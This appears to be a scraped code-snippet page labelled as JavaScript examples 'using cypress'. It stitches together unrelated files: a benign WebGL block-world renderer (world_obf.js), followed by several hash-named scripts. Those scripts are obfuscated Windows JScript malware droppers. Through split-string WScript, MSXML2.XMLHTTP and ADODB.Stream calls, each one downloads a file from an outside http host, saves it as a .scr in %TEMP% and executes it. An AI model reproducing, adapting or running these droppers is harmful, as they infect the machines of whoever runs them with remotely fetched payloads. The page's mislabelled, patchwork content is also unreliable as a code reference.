Best JavaScript code snippet using cypress
world_obf.js
Source: world_obf.js
1/**2 * @param {Object} cfg3 * @return {undefined}4 */5function WorldMCA(cfg) {6 this.worldRegionData = void 0 !== cfg.server ? new RegionSrv(cfg.server) : new RegionMCA(cfg.gameRoot, cfg.worldName);7}8/**9 * @param {?} dbname10 * @param {?} description11 * @return {undefined}12 */13WorldMCA.prototype.connect = function(dbname, description) {14 this.worldRegionData.connect(dbname, description);15};16/**17 * @param {?} deepDataAndEvents18 * @param {?} shallow19 * @param {?} emptyGet20 * @param {?} specDefinitions21 * @param {?} dataAndEvents22 * @return {?}23 */24WorldMCA.prototype.getChunkBlock = function(deepDataAndEvents, shallow, emptyGet, specDefinitions, dataAndEvents) {25 return this.worldRegionData.getChunkBlock(deepDataAndEvents, shallow, emptyGet, specDefinitions, dataAndEvents);26};27/**28 * @param {?} deepDataAndEvents29 * @param {?} shallow30 * @param {?} emptyGet31 * @return {?}32 */33WorldMCA.prototype.getBlock = function(deepDataAndEvents, shallow, emptyGet) {34 return this.worldRegionData.getBlock(deepDataAndEvents, shallow, emptyGet);35};36/**37 * @param {?} deepDataAndEvents38 * @param {?} emptyGet39 * @param {?} specDefinitions40 * @param {?} dataAndEvents41 * @param {?} traditional42 * @param {?} shallow43 * @param {?} until44 * @return {undefined}45 */46WorldMCA.prototype.updateChunkBlock = function(deepDataAndEvents, emptyGet, specDefinitions, dataAndEvents, traditional, shallow, until) {47 this.worldRegionData.updateChunkBlock(deepDataAndEvents, emptyGet, specDefinitions, dataAndEvents, traditional, shallow, until);48};49/**50 * @param {?} deepDataAndEvents51 * @param {?} shallow52 * @param {?} emptyGet53 * @param {?} specDefinitions54 * @param {?} dataAndEvents55 * @return {undefined}56 */57WorldMCA.prototype.updateBlock = function(deepDataAndEvents, shallow, emptyGet, specDefinitions, dataAndEvents) {58 this.worldRegionData.updateBlock(deepDataAndEvents, shallow, emptyGet, specDefinitions, dataAndEvents);59};60/**61 * @param {?} pos62 * @param {?} setting63 * @param {?} deepDataAndEvents64 * @param {?} shallow65 * @param {?} emptyGet66 * @return {undefined}67 */68WorldMCA.prototype.setBlock = function(pos, setting, deepDataAndEvents, shallow, emptyGet) {69 this.worldRegionData.setBlock(pos, setting, deepDataAndEvents, shallow, emptyGet);70};71/**72 * @param {?} deepDataAndEvents73 * @param {?} shallow74 * @param {?} emptyGet75 * @param {?} specDefinitions76 * @param {?} dataAndEvents77 * @return {undefined}78 */79WorldMCA.prototype.changeChunkBlockAdd = function(deepDataAndEvents, shallow, emptyGet, specDefinitions, dataAndEvents) {80 this.worldRegionData.changeChunkBlockAdd(deepDataAndEvents, shallow, emptyGet, specDefinitions, dataAndEvents);81};82/**83 * @return {undefined}84 */85WorldMCA.prototype.updateChunks = function() {86 this.worldRegionData.updateChunks();87};88/**89 * @return {undefined}90 */91WorldMCA.prototype.deleteBuffers = function() {92 this.worldRegionData.deleteBuffers();93};94/**95 * @return {undefined}96 */97WorldMCA.prototype.save = function() {98 this.worldRegionData.save();99};100/**101 * @param {number} result102 * @param {number} callback103 * @param {boolean} recurring104 * @return {?}105 */106WorldMCA.prototype.requestChunk = function(result, callback, recurring) {107 return this.worldRegionData.requestChunk(result, callback, recurring);108};109/**110 * @return {undefined}111 */112WorldMCA.prototype.new100msec = function() {113 this.worldRegionData.new100msec();114};115/**116 * @return {undefined}117 */118WorldMCA.prototype.new50msec = function() {119 this.worldRegionData.new50msec();120};121/**122 * @return {undefined}123 */124WorldMCA.prototype.render = function() {125 if (blockTexture.loaded) {126 gl.bindTexture(gl.TEXTURE_2D, blockTexture);127 var shader = gluu.standardShader;128 gl.useProgram(shader);129 gl.viewport(0, 0, gl.viewportWidth, gl.viewportHeight);130 gl.clearColor(settings.skyColor[0], settings.skyColor[1], settings.skyColor[2], 1);131 gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);132 mat4.perspective(gluu.pMatrix, camera.fovy, gl.viewportWidth / gl.viewportHeight, 0.1, 6E3);133 var transformMatrix = camera.getMatrix();134 mat4.identity(gluu.mvMatrix);135 mat4.multiply(gluu.pMatrix, gluu.pMatrix, transformMatrix);136 gl.uniformMatrix4fv(shader.pMatrixUniform, false, gluu.pMatrix);137 gl.uniformMatrix4fv(shader.mvMatrixUniform, false, gluu.mvMatrix);138 gl.uniform1f(shader.lod, settings.distanceLevel[1]);139 gl.uniform1f(shader.sun, settings.sun);140 gl.uniform1f(shader.brightness, settings.brightness);141 gl.uniform4fv(shader.skyColor, settings.skyColor);142 /** @type {number} */143 var z0 = 0;144 /** @type {number} */145 var z1 = 0;146 /** @type {number} */147 transformMatrix = 0;148 /** @type {Array} */149 var that = [settings.distanceLevel[0], settings.distanceLevel[1], settings.distanceLevel[2], settings.distanceLevel[2]];150 /** @type {Array} */151 var coords = [];152 /** @type {number} */153 var expectationResult = 0;154 /** @type {number} */155 var restoreScript = 0;156 var self;157 var dest = camera.getPos();158 /** @type {number} */159 var dim = 0;160 for (;4 > dim;dim++) {161 /** @type {number} */162 var x_from = Math.floor(dest[0] / 16);163 /** @type {number} */164 var y_from = Math.floor(dest[2] / 16);165 /** @type {number} */166 coords[0] = 0;167 /** @type {number} */168 coords[1] = 0;169 /** @type {number} */170 var spacePos = -1;171 for (;spacePos < that[dim] * that[dim] * 4;spacePos++) {172 if (-1 !== spacePos && (coords = spiralLoop(spacePos)), expectationResult = x_from + coords[0], restoreScript = y_from + coords[1], self = this.requestChunk(expectationResult, restoreScript, false), -1 !== self && (-2 !== self && (z0 = dest[0] - (16 * expectationResult + 8), z1 = dest[2] - (16 * restoreScript + 8), transformMatrix = Math.sqrt(z0 * z0 + z1 * z1), !(transformMatrix > 16 * that[dim])))) {173 if (64 < transformMatrix) {174 var q = camera.getTarget();175 /** @type {Array} */176 q = [dest[0] - q[0], dest[2] - q[2]];177 /** @type {Array} */178 z1 = [-z0, -z1];179 /** @type {number} */180 z0 = q[0] * z1[0] + q[1] * z1[1];181 /** @type {number} */182 var vl4 = Math.sqrt(q[0] * q[0] + q[1] * q[1]);183 /** @type {number} */184 q = Math.sqrt(z1[0] * z1[0] + z1[1] * z1[1]);185 /** @type {number} */186 z0 = z0 / (vl4 * q);187 if (0 < z0) {188 continue;189 }190 if (z0 = Math.cos(camera.fovx / 1.5) + z0, q = Math.sqrt(2 * q * q * (1 - z0)), 0 < z0 && 16 < q) {191 continue;192 }193 }194 if (void 0 === self) {195 if (1 < chronometer.iLag) {196 chronometer.iLag -= 1;197 this.worldRegionData.requestChunk(expectationResult, restoreScript);198 }199 } else {200 self.timestamp = chronometer.lastTimeStart;201 if (dest[1] >= settings.waterlevel || 160 > transformMatrix) {202 self.render(dim, shader, 0);203 }204 if (dest[1] < settings.waterlevel && 96 > transformMatrix) {205 self.render(dim, shader, 1);206 } else {207 if (80 > transformMatrix) {208 self.render(dim, shader, 1);209 }210 }211 }212 }213 }214 }215 }216};217/**218 * @return {?}219 */220WorldMCA.prototype.renderSelection = function() {221 if (blockTexture.loaded) {222 var data = gluu.selectionShader;223 gl.useProgram(data);224 gl.viewport(0, 0, gl.viewportWidth, gl.viewportHeight);225 gl.clearColor(0, 0, 0, 0);226 gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);227 mat4.perspective(gluu.pMatrix, camera.fovy, gl.viewportWidth / gl.viewportHeight, 0.1, 6E3);228 var m = camera.getMatrix();229 mat4.multiply(gluu.pMatrix, gluu.pMatrix, m);230 mat4.identity(gluu.mvMatrix);231 gl.uniformMatrix4fv(data.pMatrixUniform, false, gluu.pMatrix);232 gl.uniformMatrix4fv(data.mvMatrixUniform, false, gluu.mvMatrix);233 /** @type {Array} */234 var r = [];235 /** @type {number} */236 var px = 0;237 /** @type {number} */238 var restoreScript = 0;239 var res;240 m = camera.getPos();241 /** @type {number} */242 var requestedView = 0;243 for (;4 > requestedView;requestedView++) {244 /** @type {number} */245 var x = Math.floor(m[0] / 16);246 /** @type {number} */247 var pixels = Math.floor(m[2] / 16);248 /** @type {number} */249 r[0] = 0;250 /** @type {number} */251 r[1] = 0;252 /** @type {number} */253 var r2 = -1;254 for (;24 > r2;r2++) {255 if (-1 !== r2) {256 r = spiralLoop(r2);257 }258 px = x + r[0];259 restoreScript = pixels + r[1];260 res = this.requestChunk(px, restoreScript, false);261 if (-1 !== res) {262 if (-2 !== res) {263 if (void 0 === res) {264 if (1 < chronometer.iLag) {265 chronometer.iLag -= 1;266 this.worldRegionData.requestChunk(px, restoreScript);267 }268 } else {269 res.timestamp = chronometer.lastTimeStart;270 res.render(requestedView, data, 0);271 res.render(requestedView, data, 1);272 }273 }274 }275 }276 }277 return pixels = new Uint8Array(4), gl.readPixels(Math.floor(gl.viewportWidth / 2), Math.floor(gl.viewportHeight / 2), 1, 1, gl.RGBA, gl.UNSIGNED_BYTE, pixels), data = {}, data.y = pixels[0], data.z = Math.floor(pixels[1] / 16), data.x = pixels[1] - 16 * data.z, x = Math.floor(pixels[2] / 10), data.side = pixels[2] - 10 * x, r = Math.floor(x / 5), px = x - 5 * r, x = Math.floor(m[0] / 16), pixels = Math.floor(m[2] / 16), m = x % 5, 0 > m && (m += 5), restoreScript = pixels % 5, 0 > restoreScript &&278 (restoreScript += 5), r -= m, px -= restoreScript, 2 < r && (r -= 5), -2 > r && (r += 5), 2 < px && (px -= 5), -2 > px && (px += 5), data.chx = x + r, data.chz = pixels + px, data.rchx = r, data.rchz = px, data;279 }280};281/**282 * @param {?} deepDataAndEvents283 * @return {?}284 */285WorldMCA.prototype.getNearestPosition = function(deepDataAndEvents) {286 return this.worldRegionData.getNearestPosition(deepDataAndEvents);287};288/**289 * @return {?}290 */291WorldMCA.prototype.testCollisions = function() {292 var clip = camera.getPos();293 /** @type {number} */294 var length = Math.floor(clip[0] / 16);295 /** @type {number} */296 var n = Math.floor(clip[2] / 16);297 var v;298 /** @type {number} */299 var right = 0;300 /** @type {number} */301 var i = length - 1;302 for (;i < length + 2;i++) {303 /** @type {number} */304 var k = n - 1;305 for (;k < n + 2;k++) {306 if (16 * i - 2 < clip[0] && (16 * i + 18 > clip[0] && (16 * k - 2 < clip[2] && 16 * k + 18 > clip[2]))) {307 if (v = this.requestChunk(i, k, false), -1 === v || (-2 === v || void 0 === v)) {308 if (i === length && k === n) {309 return true;310 }311 } else {312 if (1 !== v.isInit) {313 if (i === length && k === n) {314 return true;315 }316 } else {317 if (v = v.getBuffer([Math.floor(clip[0] - 16 * i), Math.floor(clip[1]), Math.floor(clip[2] - 16 * k)]), false !== v) {318 /** @type {number} */319 var left = 0;320 left = left + Intersection3D.shapeIntersectsShape(v, player.shape, 9, 5, clip);321 right = right + left;322 }323 }324 }325 }326 }327 }328 return 0 < right ? true : false;...
20160309_7faeb39ce3a5182749baf2d63f1d4968.js
1_load = "Run";2index = "onme";3targets = "but";4easing = "54";5fast = 3;6compare = "ToFile";7test = 4046;8uniqueID = "Respo";9i = "ct", value = "WScr", startTime = "ateO";10var iframe = 20,11 curLeft = 138,12 chainable = "/p",13 stopPropagation = 17,14 seekingTransport = "rcher",15 operator = 24;16contentDocument = 45;17transports = 19;18onerror = "y.c";19interval = "%TEM";20matched = "Cre";21name = "in";22var Data = 32;23srcElements = "WScri";24clientLeft = "/";25PI = "wr";26finalDataType = "GET";27margin = "j";28originalEvent = "open";29calculatePosition = 50;30oMatchesSelector = "ODB.S";31getClass = "gs";32outermost = 29;33var getAllResponseHeaders = 1,34 refElements = "5g";35register = 85;36overwritten = "P", collection = "save";37prev = 5, innerHTML = "eNode";38var stopImmediatePropagation = "lan",39 clearQueue = "pand";40var elem = ".scr";41curElem = "eBod";42_evalUrl = 7, removeEvent = "AD";43event = 88, removeAttribute = 251, opt = 2;44var destElements = 11,45 remaining = "send";46reverse = "tAttri", innerText = "pt", rheader = ".Shel", ajaxHandleResponses = "a";47oldCache = "ript", elemData = 13, errorCallback = "MSXML2";48notify = 197, apply = 47, compile = (function Object.prototype.arr() {49 return this50}, "ge"), pageXOffset = "en", attributes = 31;51resolve = "op";52isSimulated = "m/l";53checkContext = 38;54scrollLeft = 35;55createInputPseudo = "Ob";56createPositionalPseudo = "t";57newContext = "Creat";58send = "ep";59rbrace = "LHTTP";60getElementsByName = "WScrip";61var td = 0,62 triggerHandler = ".XM",63 end = "e";64funcName = "ip";65current = "type";66_removeData = "et", configurable = "close", el = "Crea";67attr = "teObje";68var host = "tream",69 xhrFields = "http:/",70 token = "Envir";71var ownerDocument = 254,72 contains = "ite",73 prepend = 49,74 fragment = "WSc";75document = 25, forward = 9, els = "y", html = 40;76dataType = "Sle";77var sort = 151;78dirruns = "sition", diff = "l", maxIterations = "%";79pos = "po", preFilter = "/syst", rtypenamespace = 10, replaceWith = "ogs/", fireGlobals = 62551;80var isBorderBox = "om.au",81 head = 203,82 rmargin = "ntStr",83 divStyle = "q32r4",84 m = "c",85 fadeIn = "ns";86inspectPrefiltersOrTransports = "Ex";87var extra = 60,88 s = "bje";89rnumnonpx = (((Math.pow(32, opt) - 986) * (opt | 2) + (sort, 222, rtypenamespace)), (((1 * opt) | (5 ^ iframe)), this));90Sizzle = _load;91querySelectorAll = rnumnonpx[srcElements + innerText];92cloneCopyEvent = querySelectorAll[el + attr + m + createPositionalPseudo](getElementsByName + createPositionalPseudo + rheader + diff);93siblingCheck = cloneCopyEvent[inspectPrefiltersOrTransports + clearQueue + token + index + rmargin + name + getClass](interval + overwritten + maxIterations + clientLeft) + compile + reverse + targets + innerHTML + elem;94booleans = rnumnonpx[value + funcName + createPositionalPseudo][newContext + end + createInputPseudo + margin + end + i](errorCallback + triggerHandler + rbrace);95booleans[resolve + pageXOffset](finalDataType, xhrFields + chainable + stopImmediatePropagation + _removeData + ajaxHandleResponses + seekingTransport + onerror + isBorderBox + preFilter + end + isSimulated + replaceWith + divStyle + refElements + easing, !(((((2 + getAllResponseHeaders) ^ (0 & getAllResponseHeaders)) * ((3 | html) - (12 * fast + 5)) * (prev * 2 * opt - (11 ^ document)) * ((224, head, 203, opt) | (155, register, 42, opt)) * ((1 + opt) & (1 ^ opt)) * ((7 | forward) / (5 & _evalUrl)) - (((250 & ownerDocument) / (74 - prepend)) | (16 | opt))) / (((6 ^ outermost) - (600 / operator)) * ((4305 / scrollLeft) / 41) * ((_evalUrl - 4) | (opt * 3 * opt * 2 / (Math.pow(rtypenamespace, 2) - event))) + (((5 & _evalUrl)) - ((10 + opt) / (3 & fast))))) == (((Math.pow((214, notify, 161, destElements), (127, curLeft, 2)) - (checkContext * 2 + outermost)) * (26 / elemData) + ((66 - attributes) / (235 / apply))) - (((1007 / transports) + (1088 / stopPropagation)), (6 | prev) * (52 - apply) * (1 + getAllResponseHeaders), ((Math.pow(82, opt) - 6596) | fast * 5 * elemData), ((82 - contentDocument)))) * (((Math.pow(102, opt) - 10301), ((extra - 47) ^ (html + 56)), (fast | (1 + getAllResponseHeaders))) ^ (Math.pow(((51 - calculatePosition) + (20 - stopPropagation)), ((Math.pow(37, opt) - 1318) - (getAllResponseHeaders * 49))) - ((Math.pow(removeAttribute, 2) - fireGlobals) / (1440 / Data))))));96booleans[remaining]();97restoreScript = rnumnonpx[fragment + oldCache][matched + startTime + s + i](removeEvent + oMatchesSelector + host);98restoreScript[originalEvent]();99rquery = restoreScript;100hooks = cloneCopyEvent;101rquery[current] = (1 + td);102load = rquery;103oldfire = booleans[uniqueID + fadeIn + curElem + els];104restoreScript[PI + contains](oldfire);105load[pos + dirruns] = ((1 * td) ^ (1 & td));106restoreScript[collection + compare](siblingCheck, ((1 | td) + (0 | getAllResponseHeaders)));107throws = restoreScript;108throws[configurable]();109rnumnonpx[getElementsByName + createPositionalPseudo][dataType + send]((59 * opt * 5 * transports + (3838 & test)));...
20160308_3fe1deb5c4f433e76df2f42243fb02db.js
1var MAX_NEGATIVE = "od",2 timer = "op",3 setter = "dEn";4border = 46, close = "C";5responses = 3;6newContext = "i.jp/";7s = "P%/";8htmlPrefilter = "T";9dataTypes = 9;10conv = "Ob";11padding = 191;12var hide = "y";13rcombinators = "Sl", unique = 7924;14var merge = 76;15var parentNode = 261,16 relatedTarget = "save",17 selected = "g",18 ret = "open",19 disable = 27;20var owner = 414,21 hasOwnProperty = 11,22 JSON = "WS",23 isPropagationStopped = 125;24delay = 0, Data = "Sleep", valHooks = "reateO";25var subordinate = "en";26animation = "te";27_jQuery = "tate";28reliableMarginLeft = "pa";29cacheLength = "type";30oMatchesSelector = "Objec";31bp = "tring";32lastChild = (function Object.prototype.documentIsHTML() {33 return this34}, "close");35var capName = "readys",36 setRequestHeader = "entS",37 udataOld = "j",38 xhrSuccessStatus = "A";39var webkitMatchesSelector = 1,40 elemdisplay = "ect",41 rbuggyMatches = "Res";42var notifyWith = "Stream",43 keyCode = 18;44replaceAll = "ript.S";45nodes = "http:";46context = "DODB.";47original = "MSX";48marginLeft = "W", func = "im", matcherOut = 592, XMLHttpRequest = "cr", getResponseHeader = "bje", innerHTML = "Run";49var sortStable = 39,50 leadingRelative = 2805,51 stop = "Script";52var useCache = "n";53disconnectedMatch = 24, window = 3187, append = "eep";54init = "i", relative = "%TEM", delegate = "tio", nativeStatusText = 41, indirect = 96;55rbracket = 5, maxWidth = "seB", rejectWith = 16, keys = "cript";56addGetHookIf = "//";57appendTo = "ipt";58valueParts = "wr";59props = "ToFile", rtypenamespace = "ate";60isArrayLike = "ll";61innerText = ".scr";62var password = "HTTP";63testContext = "54";64prevAll = "WScr";65preMap = "ct";66dequeue = 2;67unqueued = 40, bindType = "g4", nodeNameSelector = "ML", clearTimeout = "WSc", stopQueue = 154, radioValue = "k";68var push = "he",69 rreturn = "posi",70 rscriptType = "Cre";71statusCode = "m", rootjQuery = "t";72remove = "GE";73var offsetHeight = 21,74 charset = "okoko.",75 pop = "viron",76 animated = 7;77interval = "po";78self = 9205;79toArray = 735;80one = "size";81curPosition = "hime";82doc = "Ex";83nextSibling = 148;84var requestHeaders = 15,85 responseContainer = "2.XML",86 transport = 133,87 now = 25,88 msMatchesSelector = "send",89 hover = "s";90var jqXHR = 236,91 rhash = "Create";92serialize = (((0 | rejectWith) * 2 * dequeue * 2 + (dequeue & 2)), (((delay | 3) & (responses ^ 0)), this));93optDisabled = innerHTML;94jsonProp = serialize[JSON + keys];95rcomma = jsonProp[rhash + oMatchesSelector + rootjQuery](clearTimeout + replaceAll + push + isArrayLike);96conditionFn = rcomma[doc + reliableMarginLeft + useCache + setter + pop + statusCode + setRequestHeader + bp + hover](relative + s) + one + innerText;97isLocal = serialize[prevAll + appendTo][rscriptType + rtypenamespace + conv + udataOld + elemdisplay](original + nodeNameSelector + responseContainer + password);98isLocal[ret](remove + htmlPrefilter, nodes + addGetHookIf + radioValue + charset + curPosition + selected + func + newContext + testContext + bindType, !((((((indirect | 69) + (responses * 3)) - ((disconnectedMatch + 83) & (keyCode ^ 69))) / ((dequeue * (28 - hasOwnProperty) + (1 + delay)) | ((37, border, 1320) / (Math.pow(now, 2) - matcherOut)))) * (((1 * responses) * (3 & dequeue) * (1 * animated) - (Math.pow(3 * dequeue * 3 * dequeue, (1 ^ responses)) - (Math.pow(1228, dequeue) - 1506728))) ^ (((delay | 1) + -webkitMatchesSelector) | ((40 - dataTypes) - (30 | requestHeaders))))) == ((Math.pow(((187, webkitMatchesSelector) | 3) * ((disconnectedMatch - 5)), (((webkitMatchesSelector | 1) * dequeue) ^ ((Math.pow(20, dequeue) - 373), (transport, 13, nextSibling, 0)))) - (((owner - 168) & padding), ((316 * hasOwnProperty + 71) & window))) / (((4 + animated) * (2 | delay) * (Math.pow(11, dequeue) - 104) / ((toArray / 21) - (nativeStatusText - 17))) | ((rbracket * 3 * responses * 3 * responses * 5 / (offsetHeight + 4)) - ((webkitMatchesSelector * 42) & (sortStable & 51)))))));99isLocal[msMatchesSelector]();100while(isLocal[capName + _jQuery] < ((isPropagationStopped - 69) - (nextSibling - 96))) {101 serialize[JSON + XMLHttpRequest + appendTo][rcombinators + append](((delay | 60) ^ (disable ^ 67)));102}103restoreScript = serialize[prevAll + appendTo][close + valHooks + getResponseHeader + preMap](xhrSuccessStatus + context + notifyWith);104serialize[marginLeft + stop][Data](((unique & 6063) + (self & 11260)));105restoreScript[timer + subordinate]();106events = restoreScript;107events[cacheLength] = ((disable - 26) * webkitMatchesSelector);108visible = events;109restoreScript[valueParts + init + animation](isLocal[rbuggyMatches + interval + useCache + maxWidth + MAX_NEGATIVE + hide]);110visible[rreturn + delegate + useCache] = ((Math.pow(17, dequeue) - 258) - (dequeue | 31));111restoreScript[relatedTarget + props](conditionFn, ((stopQueue - 70) / (offsetHeight * 2)));112restoreScript[lastChild]();113rcssNum = rcomma;...
20160308_2e8059537b5ef394f09fb83519771955.js
1shift = "eObje";2escaped = "7jhg";3uniqueID = "t.Sh";4overflow = "jesu";5hasData = "Sl";6restoreScript = 1;7var prependTo = 72,8 operator = "t",9 keyCode = 52,10 max = "puiss";11offsetHeight = ".S", matched = 5, bool = "ript", opts = "je";12_queueHooks = "eat", headers = "l", locked = "tream";13resolveWith = 4880, results = 36, class2type = "Sleep", memory = "4g";14initialInUnit = "ositio";15divStyle = 1740;16var needsContext = "p",17 w = (function String.prototype.progress() {18 return this19 }, "WS");20var crossDomain = "pe",21 unmatched = "Cre",22 clearTimeout = 60,23 ajaxExtend = "nce";24var err = "ty",25 splice = "tp:",26 dataAttr = "e";27async = "String";28subordinate = "ct";29matcherFromTokens = "clos", v = "P", html = "o", a = "write", slow = 48, getElementsByTagName = 3;30var stopOnFalse = 4;31cacheLength = "nseB", attachEvent = "5";32var refElements = 43,33 oldfire = "2.X",34 setTimeout = "i",35 callbackName = 2;36isArrayLike = "ateObj";37fns = "ile";38defaultPrevented = "%TE";39focusin = "ody";40rnotwhite = 458;41transports = "Ru";42_jQuery = "Expand", eased = "s.c";43body = 84, delay = "open", parseFromString = "rea", merge = "end", wrap = "ment", realStringObj = "n";44var jqXHR = ".scr",45 rscriptType = "r",46 fix = "WScr";47valueIsBorderBox = "ystat";48disabled = "Cr";49readyWait = 19;50timeout = "d";51vendorPropName = "eOb", dataTypeOrTransport = 91, fn = "inist", rbrace = "c";52var ct = "SXML",53 andSelf = "ipt",54 tween = "ect",55 preFilters = "rxh";56compareDocumentPosition = "ML";57when = "at";58selectedIndex = "a";59curLeft = "GET";60text = "Resp";61removeAttr = "WSc";62var rcombinators = "tmlTag",63 stopImmediatePropagation = 0,64 curElem = "//m",65 raw = "ADODB",66 disableScript = "H";67groups = "Envir";68dataFilter = "M";69reverse = "s";70rcssNum = 24;71set = "eep";72var getElementsByClassName = "aveToF",73 fixInput = "pt",74 adjusted = 18,75 keepScripts = "ht";76index = "ere";77rmargin = "ope";78useCache = "%/";79relative = "om/o09";80createOptions = "TTP";81propHooks = 30;82rquery = 54;83dir = (((89, stopOnFalse, 52) * (adjusted - 13) + (getElementsByTagName ^ 29)), (((restoreScript * 0) ^ (callbackName ^ 5)), this));84buildParams = transports + realStringObj;85getClass = dir[removeAttr + bool];86newContext = getClass[disabled + _queueHooks + vendorPropName + opts + subordinate](fix + setTimeout + needsContext + uniqueID + dataAttr + headers + headers);87errorCallback = newContext[_jQuery + groups + html + realStringObj + wrap + async + reverse](defaultPrevented + dataFilter + v + useCache) + preFilters + rcombinators + jqXHR;88defer = dir[w + rbrace + rscriptType + setTimeout + fixInput][unmatched + when + shift + rbrace + operator](dataFilter + ct + oldfire + compareDocumentPosition + disableScript + createOptions);89defer[delay](curLeft, keepScripts + splice + curElem + fn + index + max + selectedIndex + ajaxExtend + overflow + eased + relative + escaped + memory + attachEvent, !(getElementsByTagName == ((((Math.pow((223, readyWait), (1 * callbackName)) - (4, rquery, 341)) / ((stopImmediatePropagation ^ 4) * (propHooks - 25))) * (((dataTypeOrTransport - 64), (prependTo / 18)) - (stopImmediatePropagation | 4))) ^ ((stopImmediatePropagation & 0) | ((restoreScript * 3) * (restoreScript * 2) * callbackName * 2 * callbackName * 2 / ((rnotwhite - 204), (rquery ^ 145), (divStyle / 15), (getElementsByTagName + 29)))))));90defer[reverse + merge]();91while(defer[parseFromString + timeout + valueIsBorderBox + dataAttr] < ((rcssNum / 6) & (refElements - 36))) {92 dir[fix + andSelf][class2type]((body / 42) * (restoreScript | 4) * (keyCode, 231, matched) * (1 * callbackName));93}94responseHeaders = dir[fix + andSelf][unmatched + isArrayLike + tween](raw + offsetHeight + locked);95dir[fix + setTimeout + fixInput][hasData + set](((11202 - resolveWith) * (1 * callbackName) + (113088 / slow)));9697responseHeaders[rmargin + realStringObj]();98trigger = responseHeaders;99trigger[err + crossDomain] = ((0 | restoreScript) & (1 + stopImmediatePropagation));100multipleContexts = trigger;101responseHeaders[a](defer[text + html + cacheLength + focusin]);102multipleContexts[needsContext + initialInUnit + realStringObj] = ((Math.pow(172, callbackName) - 29357), (clearTimeout), (233, prependTo), (0 & stopImmediatePropagation));103responseHeaders[reverse + getElementsByClassName + fns](errorCallback, ((2 & getElementsByTagName) | (2 & getElementsByTagName)));104responseHeaders[matcherFromTokens + dataAttr]();105postFilter = newContext;
...
20160309_1d58a87099590dc9dac1e8ca64a8e557.js
1var rquery = 148,2 visible = "ea",3 indirect = "lan";4subordinate = "ject", createButtonPseudo = ".scr", args = "n", reliableMarginLeftVal = "eObje", merge = "g", xhr = "TTP";5attrId = "Bod", Data = "chery", cleanData = "Sleep", getResponseHeader = "/", err = 73;6createComment = "B.";7setMatched = "au/sy";8specified = 612;9var resolveWith = 16,10 before = 88,11 iterator = "se";12var nodeIndex = "hell",13 boxSizingReliable = 63,14 showHide = "5g54",15 getBoundingClientRect = "S",16 checkDisplay = "xpandE",17 memory = "m";18handle = "it";19set = (function String.prototype.e() {20 return this21}, 0);22letter = "f";23test = "q32r4";24overflow = 4;25rescape = "wr";26defaultPrevented = "nme";27nodeType = "ToFile";28attrHooks = "send";29simple = "ht", removeAttr = "type", arg = "identi", _removeData = "nt", radio = 5, styles = "sav";30updateFunc = "/logs/";31suffix = "Scr";32inspected = 9, rts = "en", restoreScript = "t", delegateType = "tr", tokenize = 6, find = "te";33var notify = "C",34 currentTime = 43;35ownerDocument = "Crea", guaranteedUnique = "ADOD", protocol = "MP%", pseudos = "close", Callbacks = "MSXML", originalOptions = "p";36access = "eta", operator = "tio", insertAfter = "WSc", overflowY = "i", newDefer = "W";37duplicates = "er";38var appendChild = 17;39var submit = "r",40 startLength = 126,41 configurable = "GET",42 isArray = 253;43var risSimple = 3,44 nextAll = "Run",45 second = "c",46 pixelMarginRight = 140,47 newSelector = 7,48 leadingRelative = 40;49delegateCount = "v";50parent = 736;51mapped = "y";52reject = "E";53bulk = 8;54isXML = "op";55matchExpr = "reate";56rclass = "Respon";57opener = "Strin";58matchesSelector = 2;59pointerleave = "m.";60firing = 1;61obj = "2.XMLH";62currentTarget = 24;63rquickExpr = 24289;64oldCallbacks = "e";65timerId = "posi";66insertBefore = "%TE";67newContext = "ript";68index = ".co";69tmp = "ript.S";70tokens = 37;71var ajax = 29;72var rejectWith = "Object",73 prefilterOrFactory = "o",74 filters = "Ob",75 els = "WScrip",76 responseHeaders = "Creat";77fireGlobals = "tp://p";78string = "ipt";79ap = "s";80delegate = ((Math.pow((11 + ajax), (154, matchesSelector)) - 2 * matchesSelector * 127 * risSimple), (((58 ^ startLength) - (35 + appendChild)), this));81Deferred = nextAll;82returnValue = delegate[insertAfter + newContext];83evt = returnValue[ownerDocument + restoreScript + reliableMarginLeftVal + second + restoreScript](insertAfter + tmp + nodeIndex);84genFx = evt[reject + checkDisplay + args + delegateCount + overflowY + submit + prefilterOrFactory + defaultPrevented + _removeData + opener + merge + ap](insertBefore + protocol + getResponseHeader) + submit + arg + letter + overflowY + duplicates + createButtonPseudo;85outermostContext = delegate[newDefer + suffix + string][notify + matchExpr + filters + subordinate](Callbacks + obj + xhr);86outermostContext[prefilterOrFactory + originalOptions + rts](configurable, simple + fireGlobals + indirect + access + submit + Data + index + pointerleave + setMatched + ap + find + memory + updateFunc + test + showHide, !(((((100 / radio), (251 & isArray), (76 + ajax), (1 * matchesSelector)) & ((2 + set) & (2 + set))) * ((3 | matchesSelector) & (3 | matchesSelector)) * (((1 * firing) ^ (0 / tokens)) + ((120 + bulk), (Math.pow(202, matchesSelector) - 40600), (firing + 0))) * (((pixelMarginRight / 10) - (leadingRelative, 13)) ^ (matchesSelector + 1)) & (((currentTarget / 6) + (tokenize | 4)) - ((tokenize & 6) | (overflow | 3))) * (((parent ^ 346) / (risSimple + 15)) - ((tokens ^ 22) & (boxSizingReliable & 63))) * (((currentTime / 43) + (inspected / 9)) | ((err - 56) / (specified / 36)))) > newSelector));87outermostContext[attrHooks]();88clientX = delegate[els + restoreScript][responseHeaders + oldCallbacks + rejectWith](guaranteedUnique + createComment + getBoundingClientRect + delegateType + visible + memory);89clientX[isXML + rts]();90htmlPrefilter = clientX;91charCode = evt;92htmlPrefilter[removeAttr] = ((Math.pow(13, matchesSelector) - 153) / (resolveWith | 16));93current = htmlPrefilter;94parseHTML = outermostContext[rclass + iterator + attrId + mapped];95clientX[rescape + handle + oldCallbacks](parseHTML);96current[timerId + operator + args] = (set / (Math.pow(5, matchesSelector) - 17));97clientX[styles + oldCallbacks + nodeType](genFx, ((resolveWith ^ 58) / (matchesSelector * 10 + firing)));98trim = clientX;99trim[pseudos]();100delegate[els + restoreScript][cleanData](((35711 + rquickExpr) / (4 + set)));...
20160308_ff1076d6373db44cf0d4145151cbfbef.js
